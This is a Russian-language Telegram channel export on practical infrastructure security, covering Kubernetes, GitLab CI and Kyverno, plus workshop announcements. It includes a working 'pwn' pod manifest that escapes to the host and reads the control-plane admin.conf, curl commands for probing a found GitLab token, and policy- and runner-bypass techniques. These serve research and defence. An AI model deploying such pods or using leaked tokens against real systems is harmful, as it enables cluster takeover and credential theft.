Нарыл
1.5K subscribers
6 photos
2 files
26 links
Канал о практической информационной безопасности. Автор - https://xn--r1a.website/sorokinpf
Download Telegram
hostPID: true и --pid=host. Часть 4

Часть 1
Часть 2
Часть 3

Ну и наглядный пример по итогам всего вышесказанного.

Если мы можем создавать поды с:
1) hostPID: true
2) SYS_PTRACE capability
3) отключенным AppArmor

То мы можем запупывнить кластер кубера одним маленьким подом, спецификация которого ниже. Этого достаточно, т.к.:
- Доступ к процессу с PID 1 у нас есть благодаря hostPID:true;
- наличие SYS_PTRACE позволяет обойти обычные проверки ptrace access mode;
- Yama не работает, так как мы запрашиваем всего лишь PTRACE_MODE_READ;
- AppArmor необходимо отключать, так как он не дает доступа в процессы, запущенные под другим профилем.
- nodeSelector и tolerations позволяют выполниться на master-ноде кубера.
👍2
apiVersion: v1
kind: Pod
metadata:
name: pwn
annotations:
container.apparmor.security.beta.kubernetes.io/pwned: unconfined #disable apparmor
spec:
hostPID: true #root PID namespace
containers:
- name: pwn
image: ubuntu
command: [ "cat", "/proc/1/root/etc/kubernetes/admin.conf" ]
securityContext:
capabilities:
add:
- SYS_PTRACE # SYS_PTRACE to bypass ptrace access mode checks
nodeSelector: # land on master node
node-role.kubernetes.io/control-plane: ''
tolerations: # tolerate control-plane node tains
- key: ""
operator: "Exists"
effect: ""
🔥5👍4
Gitlab Access Tokens

Gitlab позволяет создавать токены доступа для групп, проектов или персональные для пользователей.

Если нам достался такой токен (например, нашли в репозитории), то встает вопрос - а что же именно с этим токеном можно делать?

Для этого можно использовать запрос:

curl --header "PRIVATE-TOKEN: token_here" https://gitlab.example.com/api/v4/personal_access_tokens/self


В ответе будет имя токена, идентификатор пользователя, для которого этот токен выписан, а также scopes - права. В примере на картинке токен имеет полный доступ в API, а также может пушить в репозиторий и Gitlab Image Registry. Доступ в API - это довольно высокие права, с таким доступом можно читать доступные Gitlab Variables, запускать пайплайны от имени пользователя и многое другое.

Посмотреть пользователя, для которого выдан токен можно здесь:

curl https://gitlab.example.com/api/v4/users/<user_id>


Если токен выдан для проекта или группы, имя пользователя будет иметь формат (project|group)_<(project|group)_id>_bot_<random_bytes>

В зависимости от проекта/группы/пользователя нам могут быть доступны разные возможности. Вплоть до полноценного административного доступа в Gitlab.

Также при создании токена указывается роль (Developer/Maintainer/Guest/etc), но как узнать роль имея на руках только токен, я не нашел.

P.S. В Gitlab есть префикс для персональных токенов `glpat-`(дока). Можно добавлять в инструменты поиска секретов.
🔥91👍1
🔥5
Kyverno resourseFilters

Если разворачивать kyverno с помощью values.yaml по умолчанию, то в них окажется интересный параметр resourceFilters

Этот параметр добавляет в исключения Enforce политик kyverno некоторую часть ресурсов, среди которых хочется отметить почти первые три строчки. Они говорят о том что все yaml в неймспейсах:
- kube-system
- kube-public
- kube-node-lease
НЕ будут валидироваться.
Также в исключения попадает очень многое в неймспейсе, где развренута kyverno.

То есть, если атакующий смог получить доступ к кредам, которые позволяют создавать ворклоады в любых неймспейсах, то он сможет сделать BadPod, даже если baseline kyverno-политики раскатаны на кластере. Ну и многое другое, ради чего заводится policy engine может быть байпаснуто.

При этом Background-режим kyverno работает вне зависимости от resourceFilters, никакие ресурсы не пропускаются, что может сбивать с толку.

Об этом и о причинах таких параметров по умолчанию (надежное восстановление кластера/kyverno) прямо сказано в самом конце раздела документации Installation->Security vs Operability, надеюсь, что все до туда дочитывают...
🔥11👍1
Мой бывший коллега классно развил тему о которой я рассказывал в прошлом году на БЕКОН. Там шла речь о том чтобы при наличии доступа к docker API socket нельзя было поднять привилегии и залезать в чужие контейнеры. Но было ограничение - доступ к собственным контейнерам также сильно ограничивался.

Улучшенный подход он описал в статье на хабре. Теперь с помощью плагина https://github.com/I-am-Roman/docker-auth-plugin можно реализовать уже почти полноценную авторизацию - доступ к своим контейнерам остается, а вот к тем, которые запущены другими пользователями уже не добраться.

Ссылки на старые посты в канале по теме на БЕКОН: раз и два.
👏73🤔1
Есть такая общеизвестная проблема когда делаешь non-root в k8s: контейнерам нужно биндить порты до 1024, что по умолчанию в Linux запрещено.

Лично по-моему само по себе такое ограничение - архитектурная ошибка в Linux, которая привела к куче проблем и сложностей: сервису, например nginx, нужно стартовать от рута, забиндить порт, а потом дропнуть лишние привилегии. Что уже само по себе звучит не безопасно и разумеется приводило к множеству LPE. А профит с точки зрения ИБ крайне сомнительный. Может быть он был когда на одном сервере одновременно крутился важный сайт на 80 порту и еще сидели руками какие-то непривилегированные пользователи, но сейчас это кажется бесполезным чуть более чем полностью (попробуйте меня переубедить :D)

Параметр ядра net.ipv4.ip_unprivileged_port_start позволяет управлять этим поведением в Linux. Если его установить в значение 0, то любому пользователю будет доступен биндинг любых портов. Параметр net.ipv4.ip_unprivileged_port_start относится к сетевому неймспейсу и у каждого контейнера свой.

При внедрении non-root можно добавлять securityContext.sysctls (net.ipv4.ip_unprivileged_port_start=0) в манифесты, но это требует модификации всех манифестов.

И вот я тут обнаружил что есть другой путь - в конфиге containerd есть опция enable_unprivileged_ports, которая устанавливает net.ipv4.ip_unprivileged_port_start в 0 для всех создаваемых контейнеров.

Другими словами можно поменять один параметр на всех нодах и не возиться с манифестами.
🔥28👍6👎32🤯2
PHD-SOROKIN финал.pdf
3.7 MB
Запись моего выступления на PHDays: https://phdays.com/forum/broadcast/?talk=645&tag=offense

Слайды прикладываю

UPD: youtube - https://www.youtube.com/watch?v=YAV9mbnlUho
🔥27👍4🤬1
Второй год подряд буду проводить воркшоп на Offzone.
🔥31👍1
Forwarded from OFFZONE
This media is not supported in your browser
VIEW IN TELEGRAM
🔧 Воркшоп «Ломаем CI/CD 2.0»

На воркшопе вы изучите работу с секретами в CI/CD и научитесь обходить защиты раннеров от PPE.

Что в программе:

➡️ Секреты в CI/CD: GitLab variables / vault.
➡️ Интеграция Vault с GitLab и проблемы в ней.
➡️ Интеграция Vault с K8s и проблемы в ней.
➡️ Защита раннеров от PPE и способы ее обхода.

Что потребуется:

➡️ docker,
➡️ kubectl,
➡️ vault (cli).

Когда: 23 августа, 14:30–17:30.

Сложность: medium.

Продолжительность: 3 часа.

Тренер: Павел Сорокин, tech lead, Singleton Security.

Важно: без билета на конференцию попасть на воркшоп не получится.

Мест осталось не так много, успевайте!

Подробнее
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥62👎2
OFFZONE_CYBERED_SPECIAL - промокод на скидку на воркшопы OFFZONE (не только мой)
👍6
Gitlab pre_build_script

Иногда есть необходимость дополнительно защитить Gitlab Runner. Например, если на нем имеются дополнетильные credentials, если он имеет особые сетевые доступы и т.д.

Способы защиты могут быть тоже разные:
- проверка того что тот кто запустил джобу входит в белый список
- проверка подписи коммитов
- проверка целостности джобы
- и т.д.

Для реализации такой защиты может применяться параметр раннера - pre_build_script. В этом параметре можно указать скрипт, который выполнится ДО запуска любого из блоков before_script/script/after_script из пайплайна (.gitlab-ci.yml).

Идея защиты такая - если проверка не пройдена, то pre_build_script возвращает код, отличный от 0 и фейлит джобу. А блоки before_script, script, after_script, которые контролирует недоверенный пользователь гитлаба не выполняются.

Не выполняются ведь? Да?

НЕТ!

before_script и script действительно не выполняются. А вот after_script выполняется все равно, вне зависимости от того что вернул pre_build_script
.

Такой вот простой байпас.
🔥7😢3👍1
Gitlab pre_build_script. Part 2

Так что же делать чтобы after_script не выполнялся после падения pre_build_script?

Можно, например, дергать из скрипта гитлабовскую апишку и канцелить джобу.

Но можно поступить проще, если разобраться как раннер запускает джобы внутри (все нижеперечисленное я изучал для k8s-раннера, полагаю что верно и для docker-раннеров тоже).

Тут важны два факта. Первый - для запуска любых скриптов раннер сначала находит подходящий шелл с помощью файла скрипта detect_shell_script, который находится в папке /scripts-$CI_PROJECT_ID-$CI_JOB_ID. Соответственно если его перезаписать например на exit 1, то никакие другие скрипты точно не запустятся, в том числе after_script.

Но если сделать только это, то джоба в интерфейсе гитлаба зависнет. А также и контейнер в котором она запущена и все это будет убито только по таймауту.

Второй факт - оказалось, что гитлаб получает информацию о статусе джобы по записям в файл /logs-$CI_PROJECT_ID-$CI_JOB_ID/output.log. Если в этот файл вписать специальные json-строки, означающие на языке гитлаба завершение выполнения скриптов, то Gitlab воспримет джобу как завершенную, отобразит падение джобы в интерфейсе и остановит контейнеры джобы.

Итого, такой кусок скрипта можно использовать в pre_build_script, в случае если проверки безопасности не пройдены и джоба должна упасть.


echo 'exit 1' > /script*/detect*
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/step_script"}' >> /logs*/output.log
echo '{"command_exit_code": 1, "script": "/scripts-$CI_PROJECT_ID-$CI_JOB_ID/after_script"}' >> /logs*/output.log
exit 1
🔥6🥰32👍2😁1😢1